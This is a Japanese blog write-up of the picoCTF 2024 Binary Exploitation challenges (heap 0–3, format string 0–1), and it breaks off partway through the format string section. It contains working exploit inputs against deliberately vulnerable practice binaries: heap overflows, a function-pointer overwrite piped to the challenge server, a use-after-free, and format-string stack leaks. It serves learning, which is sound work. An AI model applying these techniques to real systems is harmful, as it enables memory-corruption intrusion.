前回 は、picoCTF に登録して、picoGymの「Beginner picoMini 2022」の全13問をやってみました。
今回は、引き続き、picoCTF の picoCTF 2024 のうち、Binary Exploitation というカテゴリの全10問をやっていきたいと思います。Easy が 2問、Medium が 6問、Hard が 2問です。
それでは、やっていきます。
はじめに
「セキュリティ」の記事一覧です。良かったら参考にしてください。
セキュリティの記事一覧
picoCTF の公式サイトは以下です。英語のサイトですが、シンプルで分かりやすいので困らずに進めることができます。
picoctf.com
それでは、やっていきます。
picoCTF 2024:Binary Exploitation
問題のタイトルに番号が付いてる問題については、番号の若い順にやっていきます。
heap 0(50ポイント)
Easy の問題です。バイナリファイル(chall)が 1つと、ソースファイル(chall.c)が 1つダウンロードできます。また、インスタンス(サーバ)を起動できるみたいです。
heap 0問題
インスタンスを起動すると、$ nc tethys.picoctf.net 54945 と表示されます。接続すると、ローカルのバイナリファイルと同じ動作をするようです。ローカルでいろいろ試して、準備が出来たら、サーバでフラグを取りに行くという形式のようです。
$ nc tethys.picoctf.net 54945
Welcome to heap0!
I put my data on the heap so it should be safe from any tampering.
Since my data isn't on the stack I'll even let you write whatever info you want to the heap, I already took care of using malloc for you.
Heap State:
+-------------+----------------+
[*] Address -> Heap Data
+-------------+----------------+
[*] 0x583e983c32b0 -> pico
+-------------+----------------+
[*] 0x583e983c32d0 -> bico
+-------------+----------------+
1. Print Heap: (print the current state of the heap)
2. Write to buffer: (write to your own personal block of data on the heap)
3. Print safe_var: (I'll even let you look at my variable on the heap, I'm confident it can't be modified)
4. Print Flag: (Try to print the flag, good luck)
5. Exit
Enter your choice: 4
Looks like everything is still secure!
No flage for you :(
1. Print Heap: (print the current state of the heap)
2. Write to buffer: (write to your own personal block of data on the heap)
3. Print safe_var: (I'll even let you look at my variable on the heap, I'm confident it can't be modified)
4. Print Flag: (Try to print the flag, good luck)
5. Exit
Enter your choice: 5
まずは、簡単に表層解析を行います。メモリの実行が禁止されていることと、プログラム、スタック、ヒープ、共有ライブラリの全てがアドレスがランダム化されていることが分かりました。
$ file chall
chall: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=2015ade3c2b89f5069cb8c54dd750d1b9849062d, for GNU/Linux 3.2.0, with debug_info, not stripped
$ checksec --file=chall
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO No canary found NX enabled PIE enabled No RPATH No RUNPATH 53 Symbols No 0 2 chall
続いて、静的解析として、ソースコードを眺めてみます。
最初に、ヒープが 2個確保されて、それぞれ、"pico" と "bico" という文字列で初期化されて、"bico" の方のヒープを "bico" 以外の値に出来るとフラグが獲得できるようです。
メニューの 2. Write to buffer を選択すると、"pico" で初期化された方のヒープに書き込みが行えるようです。書き込みサイズは任意だと思うので、ヒープバッファオーバーフローを起こすことが出来そうです。
2つのヒープ領域のアドレスを見ると、"pico" の方が小さいアドレスになっていて、"bico" との差は(今回は)32byte なので、適当に大きなサイズを書き込めば、"bico" の方まで書きつぶせそうです。
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define FLAGSIZE_MAX 64
#define INPUT_DATA_SIZE 5
#define SAFE_VAR_SIZE 5
int num_allocs;
char *safe_var;
char *input_data;
void check_win() {
if (strcmp(safe_var, "bico") != 0) {
printf("\nYOU WIN\n");
char buf[FLAGSIZE_MAX];
FILE *fd = fopen("flag.txt", "r");
fgets(buf, FLAGSIZE_MAX, fd);
printf("%s\n", buf);
fflush(stdout);
exit(0);
} else {
printf("Looks like everything is still secure!\n");
printf("\nNo flage for you :(\n");
fflush(stdout);
}
}
void print_menu() {
printf("\n1. Print Heap:\t\t(print the current state of the heap)"
"\n2. Write to buffer:\t(write to your own personal block of data "
"on the heap)"
"\n3. Print safe_var:\t(I'll even let you look at my variable on "
"the heap, "
"I'm confident it can't be modified)"
"\n4. Print Flag:\t\t(Try to print the flag, good luck)"
"\n5. Exit\n\nEnter your choice: ");
fflush(stdout);
}
void init() {
printf("\nWelcome to heap0!\n");
printf(
"I put my data on the heap so it should be safe from any tampering.\n");
printf("Since my data isn't on the stack I'll even let you write whatever "
"info you want to the heap, I already took care of using malloc for "
"you.\n\n");
fflush(stdout);
input_data = malloc(INPUT_DATA_SIZE);
strncpy(input_data, "pico", INPUT_DATA_SIZE);
safe_var = malloc(SAFE_VAR_SIZE);
strncpy(safe_var, "bico", SAFE_VAR_SIZE);
}
void write_buffer() {
printf("Data for buffer: ");
fflush(stdout);
scanf("%s", input_data);
}
void print_heap() {
printf("Heap State:\n");
printf("+-------------+----------------+\n");
printf("[*] Address -> Heap Data \n");
printf("+-------------+----------------+\n");
printf("[*] %p -> %s\n", input_data, input_data);
printf("+-------------+----------------+\n");
printf("[*] %p -> %s\n", safe_var, safe_var);
printf("+-------------+----------------+\n");
fflush(stdout);
}
int main(void) {
init();
print_heap();
int choice;
while (1) {
print_menu();
int rval = scanf("%d", &choice);
if (rval == EOF){
exit(0);
}
if (rval != 1) {
exit(0);
}
switch (choice) {
case 1:
print_heap();
break;
case 2:
write_buffer();
break;
case 3:
printf("\n\nTake a look at my variable: safe_var = %s\n\n",
safe_var);
fflush(stdout);
break;
case 4:
check_win();
break;
case 5:
return 0;
default:
printf("Invalid choice\n");
fflush(stdout);
}
}
}
では、実際にやってみます。"YOU WIN" と出ているので、これでフラグが取れそうです。
$ ./chall
Welcome to heap0!
I put my data on the heap so it should be safe from any tampering.
Since my data isn't on the stack I'll even let you write whatever info you want to the heap, I already took care of using malloc for you.
Heap State:
+-------------+----------------+
[*] Address -> Heap Data
+-------------+----------------+
[*] 0x5599e5bec6b0 -> pico
+-------------+----------------+
[*] 0x5599e5bec6d0 -> bico
+-------------+----------------+
1. Print Heap: (print the current state of the heap)
2. Write to buffer: (write to your own personal block of data on the heap)
3. Print safe_var: (I'll even let you look at my variable on the heap, I'm confident it can't be modified)
4. Print Flag: (Try to print the flag, good luck)
5. Exit
Enter your choice: 2
Data for buffer: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
1. Print Heap: (print the current state of the heap)
2. Write to buffer: (write to your own personal block of data on the heap)
3. Print safe_var: (I'll even let you look at my variable on the heap, I'm confident it can't be modified)
4. Print Flag: (Try to print the flag, good luck)
5. Exit
Enter your choice: 1
Heap State:
+-------------+----------------+
[*] Address -> Heap Data
+-------------+----------------+
[*] 0x5599e5bec6b0 -> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa1
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
+-------------+----------------+
[*] 0x5599e5bec6d0 -> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa1
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
+-------------+----------------+
1. Print Heap: (print the current state of the heap)
2. Write to buffer: (write to your own personal block of data on the heap)
3. Print safe_var: (I'll even let you look at my variable on the heap, I'm confident it can't be modified)
4. Print Flag: (Try to print the flag, good luck)
5. Exit
Enter your choice: 4
YOU WIN
Segmentation fault
次は、インスタンスを起動して、同じようにやってみると、フラグが取れました。
Easy の問題です。バイナリファイル(format-string-0)が 1つと、ソースファイル(format-string-0.c)が 1つダウンロードできます。また、インスタンス(サーバ)を起動できるみたいです。
format string 0問題
インスタンスを起動すると、$ nc mimas.picoctf.net 64090 と表示されます。接続すると、ローカルのバイナリファイルと同じ動作をするようです。ローカルでいろいろ試して、準備が出来たら、サーバでフラグを取りに行くという形式のようです。
ローカルで動作させる場合は、デバッグ用に「flag.txt」というファイルを自分で用意する必要があるようです。ファイルの中身は、例えば、「picoCTF{FLAGFLAGFLAG}」などとして、同じディレクトリに置くと実行できました。
$ nc mimas.picoctf.net 64090
Welcome to our newly-opened burger place Pico 'n Patty! Can you help the picky customers find their favorite burger?
Here comes the first customer Patrick who wants a giant bite.
Please choose from the following burgers: Breakf@st_Burger, Gr%114d_Cheese, Bac0n_D3luxe
Enter your recommendation: Gr%114d_Cheese
Gr 4202954_Cheese
Good job! Patrick is happy! Now can you serve the second customer?
Sponge Bob wants something outrageous that would break the shop (better be served quick before the shop owner kicks you out!)
Please choose from the following burgers: Pe%to_Portobello, $outhwest_Burger, Cla%sic_Che%s%steak
Enter your recommendation: ^C
まずは、簡単に表層解析を行います。メモリの実行が禁止されていることと、スタック、ヒープ、共有ライブラリの全てがアドレスがランダム化されていて、プログラムは固定のアドレスに配置されることが分かりました。
$ file format-string-0
format-string-0: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=73480d84a806aebddd86602609fcab2052c8fa13, for GNU/Linux 3.2.0, not stripped
$ checksec --file=format-string-0
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH 50 Symbols No 0 2 format-string-0
続いて、静的解析として、ソースコードを眺めてみます。
グローバル変数として、フラグの領域が 64byte 確保されています。2つの異なる 3択の質問が出題されます。入力する文字列は、3択の選択肢と strcmp で比較されています。
普通にやると、フラグは表示できませんが、セグメンテーションフォールトを発生させることが出来るとフラグが表示されそうです。strcmp は脆弱性のある関数なので、大きな文字列を与えれば、フラグを表示できそうです。
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <signal.h>
#include <unistd.h>
#include <sys/types.h>
#define BUFSIZE 32
#define FLAGSIZE 64
char flag[FLAGSIZE];
void sigsegv_handler(int sig) {
printf("\n%s\n", flag);
fflush(stdout);
exit(1);
}
int on_menu(char *burger, char *menu[], int count) {
for (int i = 0; i < count; i++) {
if (strcmp(burger, menu[i]) == 0)
return 1;
}
return 0;
}
void serve_patrick();
void serve_bob();
int main(int argc, char **argv){
FILE *f = fopen("flag.txt", "r");
if (f == NULL) {
printf("%s %s", "Please create 'flag.txt' in this directory with your",
"own debugging flag.\n");
exit(0);
}
fgets(flag, FLAGSIZE, f);
signal(SIGSEGV, sigsegv_handler);
gid_t gid = getegid();
setresgid(gid, gid, gid);
serve_patrick();
return 0;
}
void serve_patrick() {
printf("%s %s\n%s\n%s %s\n%s",
"Welcome to our newly-opened burger place Pico 'n Patty!",
"Can you help the picky customers find their favorite burger?",
"Here comes the first customer Patrick who wants a giant bite.",
"Please choose from the following burgers:",
"Breakf@st_Burger, Gr%114d_Cheese, Bac0n_D3luxe",
"Enter your recommendation: ");
fflush(stdout);
char choice1[BUFSIZE];
scanf("%s", choice1);
char *menu1[3] = {"Breakf@st_Burger", "Gr%114d_Cheese", "Bac0n_D3luxe"};
if (!on_menu(choice1, menu1, 3)) {
printf("%s", "There is no such burger yet!\n");
fflush(stdout);
} else {
int count = printf(choice1);
if (count > 2 * BUFSIZE) {
serve_bob();
} else {
printf("%s\n%s\n",
"Patrick is still hungry!",
"Try to serve him something of larger size!");
fflush(stdout);
}
}
}
void serve_bob() {
printf("\n%s %s\n%s %s\n%s %s\n%s",
"Good job! Patrick is happy!",
"Now can you serve the second customer?",
"Sponge Bob wants something outrageous that would break the shop",
"(better be served quick before the shop owner kicks you out!)",
"Please choose from the following burgers:",
"Pe%to_Portobello, $outhwest_Burger, Cla%sic_Che%s%steak",
"Enter your recommendation: ");
fflush(stdout);
char choice2[BUFSIZE];
scanf("%s", choice2);
char *menu2[3] = {"Pe%to_Portobello", "$outhwest_Burger", "Cla%sic_Che%s%steak"};
if (!on_menu(choice2, menu2, 3)) {
printf("%s", "There is no such burger yet!\n");
fflush(stdout);
} else {
printf(choice2);
fflush(stdout);
}
}
では、実際にやってみます。自分で用意したフラグが表示されているので、これで良さそうです。
$ ./format-string-0
Welcome to our newly-opened burger place Pico 'n Patty! Can you help the picky customers find their favorite burger?
Here comes the first customer Patrick who wants a giant bite.
Please choose from the following burgers: Breakf@st_Burger, Gr%114d_Cheese, Bac0n_D3luxe
Enter your recommendation: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
There is no such burger yet!
picoCTF{FLAGFLAGFLAG}
次は、インスタンスを起動して、同じようにやってみると、フラグが取れました。
heap 1(100ポイント)
Medium の問題です。バイナリファイル(chall)が 1つと、ソースファイル(chall.c)が 1つダウンロードできます。上の「heap 0」と同じファイル名です。別のファイル名にしてほしかったです(笑)。あと、インスタンス(サーバ)を起動できるみたいです。
heap 1問題
フォルダで分けたので、ついでに、ソース差分を見ます。めちゃくちゃ似てて、違いは、ほとんど一か所だけです。
「heap 0」では、safe_var という 5byte の配列が、"bico" という文字列で初期化されていて、それを破壊して、"bico" ではない文字列にすればフラグが取れました。今回の「heap 1」では、save_var を "bico" から "pico" に変更すればフラグが取れるようです。
$ diff heap0/chall.c heap1/chall.c
--- heap0/chall.c 2024-10-03 22:08:46.030311000 +0900
+++ heap1/chall.c 2024-10-04 21:45:05.145239500 +0900
@@ -13,7 +13,7 @@
char *input_data;
void check_win() {
- if (strcmp(safe_var, "bico") != 0) {
+ if (!strcmp(safe_var, "pico")) {
printf("\nYOU WIN\n");
// Print flag
入力できるのは、"pico" で初期化された input_data という 5byte の配列なので、ヒープバッファオーバーフローで、32byte 後方にある safe_var を書き換えればいいわけです。単純に、32byteの任意の文字列 + "pico" でいい気がします。やってみます。
フラグが表示されました。本来は、input_data と safe_var のアドレスを取得して、その差分を求めておいて、任意の文字列の数を調整した方がいいかもしれませんが、malloc関数は常に同じ動きをするはずなので、これで大丈夫だと思います。
$ heap1/chall
Welcome to heap1!
I put my data on the heap so it should be safe from any tampering.
Since my data isn't on the stack I'll even let you write whatever info you want to the heap, I already took care of using malloc for you.
Heap State:
+-------------+----------------+
[*] Address -> Heap Data
+-------------+----------------+
[*] 0x556e79fc46b0 -> pico
+-------------+----------------+
[*] 0x556e79fc46d0 -> bico
+-------------+----------------+
1. Print Heap: (print the current state of the heap)
2. Write to buffer: (write to your own personal block of data on the heap)
3. Print safe_var: (I'll even let you look at my variable on the heap, I'm confident it can't be modified)
4. Print Flag: (Try to print the flag, good luck)
5. Exit
Enter your choice: 2
Data for buffer: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAApico
1. Print Heap: (print the current state of the heap)
2. Write to buffer: (write to your own personal block of data on the heap)
3. Print safe_var: (I'll even let you look at my variable on the heap, I'm confident it can't be modified)
4. Print Flag: (Try to print the flag, good luck)
5. Exit
Enter your choice: 4
YOU WIN
picoCTF{FLAGFLAGFLAG}
次は、インスタンスを起動して、同じようにやってみると、フラグが取れました。
heap 2(200ポイント)
このまま heap の問題をやっていきます。
Medium の問題です。バイナリファイル(chall)が 1つと、ソースファイル(chall.c)が 1つダウンロードできます。同じファイル名です。インスタンス(サーバ)も起動できます。
heap 2問題
ソースを見ると、似てますが、結構差分があります。変数名が safe_var から x に変わっています。
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define FLAGSIZE_MAX 64
int num_allocs;
char *x;
char *input_data;
void win() {
char buf[FLAGSIZE_MAX];
FILE *fd = fopen("flag.txt", "r");
fgets(buf, FLAGSIZE_MAX, fd);
printf("%s\n", buf);
fflush(stdout);
exit(0);
}
void check_win() { ((void (*)())*(int*)x)(); }
void print_menu() {
printf("\n1. Print Heap\n2. Write to buffer\n3. Print x\n4. Print Flag\n5. "
"Exit\n\nEnter your choice: ");
fflush(stdout);
}
void init() {
printf("\nI have a function, I sometimes like to call it, maybe you should change it\n");
fflush(stdout);
input_data = malloc(5);
strncpy(input_data, "pico", 5);
x = malloc(5);
strncpy(x, "bico", 5);
}
void write_buffer() {
printf("Data for buffer: ");
fflush(stdout);
scanf("%s", input_data);
}
void print_heap() {
printf("[*] Address -> Value \n");
printf("+-------------+-----------+\n");
printf("[*] %p -> %s\n", input_data, input_data);
printf("+-------------+-----------+\n");
printf("[*] %p -> %s\n", x, x);
fflush(stdout);
}
int main(void) {
init();
int choice;
while (1) {
print_menu();
if (scanf("%d", &choice) != 1) exit(0);
switch (choice) {
case 1:
print_heap();
break;
case 2:
write_buffer();
break;
case 3:
printf("\n\nx = %s\n\n", x);
fflush(stdout);
break;
case 4:
check_win();
break;
case 5:
return 0;
default:
printf("Invalid choice\n");
fflush(stdout);
}
}
}
気になるところは、フラグを表示する win関数がどこからも呼ばれていないことと、check_win関数が、以下のようになっているところです。
これは、関数ポインタのキャスト((void (*)()))が入った形で、x に、win関数のアドレスが入るようにしてあげると、フラグが表示されそうです。
void check_win() { ((void (*)())*(int*)x)(); }
一度実行してみます。
ヒープ領域のアドレスの差は、前回と同じく、32byteです。
$ heap2/chall
I have a function, I sometimes like to call it, maybe you should change it
1. Print Heap
2. Write to buffer
3. Print x
4. Print Flag
5. Exit
Enter your choice: 1
[*] Address -> Value
+-------------+-----------+
[*] 0x11b86b0 -> pico
+-------------+-----------+
[*] 0x11b86d0 -> bico
1. Print Heap
2. Write to buffer
3. Print x
4. Print Flag
5. Exit
Enter your choice: 4
Segmentation fault
表層解析もやっておきます。No PIE(プログラム自身のアドレスのランダム化が無効)に変わっています。これで、win関数は常に同じアドレスということになります。
$ file heap2/chall
heap2/chall: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=d5184d264ae0c1259ba3bb7a1e20fc348b4274b0, for GNU/Linux 3.2.0, with debug_info, not stripped
$ checksec --file=heap2/chall
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH 51 Symbols No 0 2 heap2/chall
win関数のアドレスを取得します。
$ nm heap2/chall | grep win
00000000004011f0 T check_win
00000000004011a0 T win
32byteの任意の文字列の後に、このアドレスを入れてあげればいいはずです。
普通にやると、バイナリの入力が出来ないので、echo を使って入力します。番号の入力も必要なので、番号と改行を組み合わせます。無事、フラグが表示されました。
$ echo -e '2\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xa0\x11\x40\x00\n4\n' | heap2/chall
I have a function, I sometimes like to call it, maybe you should change it
1. Print Heap
2. Write to buffer
3. Print x
4. Print Flag
5. Exit
Enter your choice: Data for buffer:
1. Print Heap
2. Write to buffer
3. Print x
4. Print Flag
5. Exit
Enter your choice: picoCTF{FLAGFLAGFLAG}
インスタンスを起動して、同じようにすればフラグが表示されましたが、実行方法だけ書いておきます。
$ echo -e '2\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xa0\x11\x40\x00\n4\n' | nc mimas.picoctf.net 50227
heap 3(200ポイント)
最後の heap問題です。
Medium の問題です。バイナリファイル(chall)が 1つと、ソースファイル(chall.c)が 1つダウンロードできます。同じファイル名です。インスタンス(サーバ)も起動できます。
heap 3問題
ソースは大きく変わっていたので、普通にやっていきます。
表層解析です。heap 2 と同じですね、メモリ実行禁止、プログラム自身のアドレスはランダム化されないです。
$ file heap3/chall
heap3/chall: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=3fa64145c4efbd5a267e0525f58e294fba23ad2f, for GNU/Linux 3.2.0, with debug_info, not stripped
$ checksec --file=heap3/chall
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH 52 Symbols No 0 2 heap3/chall
ソースコードを確認します。
最初に、object構造体の領域が確保され、flagメンバ変数が "bico" で初期化されています。flagメンバ変数を "pico" に変更できるとフラグが表示されそうです。
今回は、まず、入力した値のサイズで malloc関数で領域を確保し、さらに値が書き込めるようです。あと、メモリを解放する機能もあります。
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define FLAGSIZE_MAX 64
typedef struct {
char a[10];
char b[10];
char c[10];
char flag[5];
} object;
int num_allocs;
object *x;
void check_win() {
if(!strcmp(x->flag, "pico")) {
printf("YOU WIN!!11!!\n");
char buf[FLAGSIZE_MAX];
FILE *fd = fopen("flag.txt", "r");
fgets(buf, FLAGSIZE_MAX, fd);
printf("%s\n", buf);
fflush(stdout);
exit(0);
} else {
printf("No flage for u :(\n");
fflush(stdout);
}
}
void print_menu() {
printf("\n1. Print Heap\n2. Allocate object\n3. Print x->flag\n4. Check for win\n5. Free x\n6. "
"Exit\n\nEnter your choice: ");
fflush(stdout);
}
void init() {
printf("\nfreed but still in use\nnow memory untracked\ndo you smell the bug?\n");
fflush(stdout);
x = malloc(sizeof(object));
strncpy(x->flag, "bico", 5);
}
void alloc_object() {
printf("Size of object allocation: ");
fflush(stdout);
int size = 0;
scanf("%d", &size);
char* alloc = malloc(size);
printf("Data for flag: ");
fflush(stdout);
scanf("%s", alloc);
}
void free_memory() {
free(x);
}
void print_heap() {
printf("[*] Address -> Value \n");
printf("+-------------+-----------+\n");
printf("[*] %p -> %s\n", x->flag, x->flag);
printf("+-------------+-----------+\n");
fflush(stdout);
}
int main(void) {
init();
int choice;
while (1) {
print_menu();
if (scanf("%d", &choice) != 1) exit(0);
switch (choice) {
case 1:
print_heap();
break;
case 2:
alloc_object();
break;
case 3:
printf("\n\nx = %s\n\n", x->flag);
fflush(stdout);
break;
case 4:
check_win();
break;
case 5:
free_memory();
break;
case 6:
return 0;
default:
printf("Invalid choice\n");
fflush(stdout);
}
}
}
何となく、やり方が分かった気がします。Use After Free という手法です。malloc関数で確保した領域を解放した後も参照してしまう(object構造体の flag を参照してしまう)ことを利用して、解放した領域を確保して別の値に書き換える手法です。
object構造体の領域を解放した後、同じヒープ領域を確保する必要があります。そのためには、malloc関数の仕組みを知る必要があります。malloc関数は、いろんなリストで領域を管理していますが、最初に使われる tcache bins を知っておけば、今回の問題は解けそうです。
malloc関数の基本的な仕組みとして、ヒープ領域はチャンクというブロックで管理されていて、最小のチャンクが 0x20(32byte)、0x10(16byte)単位になっています。tcache bins は、解放されたチャンクのサイズの種類として、0x20 から 0x410(1040byte)まで、0x10 刻みで 64種類あり、それぞれのサイズごとに 7個まで保持できるようになっているそうです。
今回の場合、object構造体の領域を解放したので、tcache bins にその領域が登録されているはずです。次に malloc関数で同じサイズを要求すると、解放された領域が再利用されるはずです。
まず、object構造体のサイズを正確に知るために、GDB で確認します。今回から、gdb-peda から GDB拡張の pwndbg に変更しています。
object構造体の x をダンプしてみると、30byte のオフセットで、"bico" が格納されていました。つまり、隙間なく構造体のメンバは確保されていることになります。また、x を解放したあと、pwndbg の heapコマンドで見ると、tcache bins のサイズ 0x30(48byte)に登録されていることが確認できました。16byte単位で、object構造体のサイズは 35byte なので、順当と言えます。
pwndbg> p x
$1 = (object *) 0x4056b0
pwndbg> x/40xb 0x4056b0
0x4056b0: 0x05 0x04 0x00 0x00 0x00 0x00 0x00 0x00
0x4056b8: 0x0c 0xff 0xb5 0x9a 0xa4 0xa4 0xbe 0x90
0x4056c0: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x4056c8: 0x00 0x00 0x00 0x00 0x00 0x00 0x62 0x69
0x4056d0: 0x63 0x6f 0x00 0x00 0x00 0x00 0x00 0x00
pwndbg> heap -v
Free chunk (tcachebins) | PREV_INUSE
Addr: 0x4056a0
prev_size: 0x00
size: 0x30 (with flag bits: 0x31)
fd: 0x405
bk: 0x90bea4a49ab5ff0c
fd_nextsize: 0x00
bk_nextsize: 0x6962000000000000
次に、35byte のメモリ領域を確保します。その確保した領域の先頭アドレスが、x と同じ 0x4056b0 になっていることを期待しています。
では、実際に malloc関数実行後でブレークして、確認してみました。見にくいかもしれませんが、malloc関数の戻り値の RAX が 0x4056b0 になっていることが確認できました。
malloc関数実行後
この後、30文字の "A" と "pico" を入力することにより、フラグを表示できました。
では、サーバに対してやってみます。
$ nc tethys.picoctf.net 54843
freed but still in use
now memory untracked
do you smell the bug?
1. Print Heap
2. Allocate object
3. Print x->flag
4. Check for win
5. Free x
6. Exit
Enter your choice: 5
1. Print Heap
2. Allocate object
3. Print x->flag
4. Check for win
5. Free x
6. Exit
Enter your choice: 2
Size of object allocation: 35
Data for flag: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAApico
1. Print Heap
2. Allocate object
3. Print x->flag
4. Check for win
5. Free x
6. Exit
Enter your choice: 4
YOU WIN!!11!!
picoCTF{xxx}
これでヒープシリーズは完了です。
次は、format string シリーズです。こちらも全4問あって、これが2問目です。
Medium の問題です。バイナリファイル(format-string-1)が 1つと、ソースファイル(format-string-1.c)が 1つダウンロードできます。また、インスタンス(サーバ)を起動できます。
format string 1問題
ソースコードを「format string 0」と比較しましたが、だいぶ違うので、普通にやっていきます。
表層解析です。メモリ実行禁止、プログラムのアドレスランダム化は無効です。
$ file format-string-1
format-string-1: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=62bc37ea6fa41f79dc756cc63ece93d8c5499e89, for GNU/Linux 3.2.0, not stripped
$ checksec --file=format-string-1
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH 41 Symbols No 0 2 format-string-1
まず実行してみます。うーん、他にファイルが必要なようです。
$ ./format-string-1
'secret-menu-item-1.txt' file not found, aborting.
ソースを読みます。
ファイルが 2つ必要らしいので、適当な文字列を書いたファイルを用意します。用意した 1番目のファイルを読み出して、ローカルの配列変数に設定し、次は、flag.txt を読み出して、ローカルの配列変数に設定します。次に、2番目のファイルを読み出して、ローカルの配列変数に設定します。最後に、ユーザ入力を最大 1024文字受け取って、それを表示して終了です。
最後のユーザが入力した文字列を表示してるところに問題がありそうです。
#include <stdio.h>
int main() {
char buf[1024];
char secret1[64];
char flag[64];
char secret2[64];
FILE *fd = fopen("secret-menu-item-1.txt", "r");
if (fd == NULL){
printf("'secret-menu-item-1.txt' file not found, aborting.\n");
return 1;
}
fgets(secret1, 64, fd);
fd = fopen("flag.txt", "r");
if (fd == NULL){
printf("'flag.txt' file not found, aborting.\n");
return 1;
}
fgets(flag, 64, fd);
fd = fopen("secret-menu-item-2.txt", "r");
if (fd == NULL){
printf("'secret-menu-item-2.txt' file not found, aborting.\n");
return 1;
}
fgets(secret2, 64, fd);
printf("Give me your order and I'll read it back to you:\n");
fflush(stdout);
scanf("%1024s", buf);
printf("Here's your order: ");
printf(buf);
printf("\n");
fflush(stdout);
printf("Bye!\n");
fflush(stdout);
return 0;
}
以下に、スタックの状態を整理します。
| アドレス |
サイズ |
内容 |
| rbp |
- |
- |
| rbp - 0x410 |
0x400 |
buf |
| rbp - 0x450 |
0x40 |
secret1 |
| rbp - 0x490 |
0x40 |
flag |
| rbp - 0x4d0 |
0x40 |
secret2 |
では、簡単に実行してみます。ユーザが入力した文字列を、そのまま出力しています。書式文字列攻撃が出来そうです。
$ ./format-string-1
Give me your order and I'll read it back to you:
AAAA
Here's your order: AAAA
Bye!
では、書式文字列攻撃をしてみます。x86 と違って、x86-64 は、引数にいくつかのレジスタを使い、その後、スタックを使います。よって、結構たくさん %p を使う必要がありそうです。
後ろの方に、AAAABBBB(0x4242424241414141)が出現しました。printf関数の引数として、RDI を使います。以降の RSI、RDX、RCX、R8、R9 が、まず表示されます。その後、スタックポインタが指しているところ(rbp - 0x4d0)から、8byteずつ表示されます。buf は、rbp - 0x410 なので、AAAABBBB が出現するのは、8byte が 24個表示された後になります。この 24個(0x120 / 8 = 24)には、フラグも含まれます。
$ echo -e 'AAAABBBB%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p' | ./format-string-1
Give me your order and I'll read it back to you:
Here's your order: AAAABBBB0x402118,(nil),(nil),0x402116,0x7ffff7f9ba80,0x6d2d746572636573,0x6d6574692d756e65,0x7478742e322d,0x3,(nil),0x7ffff7fc3c68,0x9,(nil),0x7b4654436f636970,0x47414c4647414c46,0x7d47414c46,(nil),0x2,0x7ffff7de9147,0x7ffff7fc34e8,0x7ffff7fc3b60,0x6d2d746572636573,0x6d6574692d756e65,0x7478742e312d,0x7ffff7fd4a48,0x2,0x7ffff7fc3b60,0x1,(nil),0x4242424241414141,0x70252c70252c7025,0x252c70252c70252c,0x2c70252c70252c70,0x70252c70252c7025,0x252c70252c70252c,0x2c70252c70252c70
Bye!
フラグの位置は、8byte が 8個表示された後なので、レジスタの 5個と合わせると、14個目ということになります。14個目からいくつかだけを表示してみます。
フラグがどこまで続いているかというと、3個目は 5byteだけが有効(残り3byteはゼロ)なので、3個分でフラグを表現しているようです。
$ echo -e 'AAAABBBB%14$p,%15$p,%16$p,%17$p' | ./format-string-1
Give me your order and I'll read it back to you:
Here's your order: AAAABBBB0x7b4654436f636970,0x47414c4647414c46,0x7d47414c46,0x7feb6fdb7b60
Bye!
フラグは、0x7b4654436f636970,0x47414c4647414c46,0x7d47414c46, です。
あとは、Python で表示するだけです。
$ python -c 'import struct; print(struct.pack("<QQQ",0x7b4654436f636970,0x47414c4647414c4
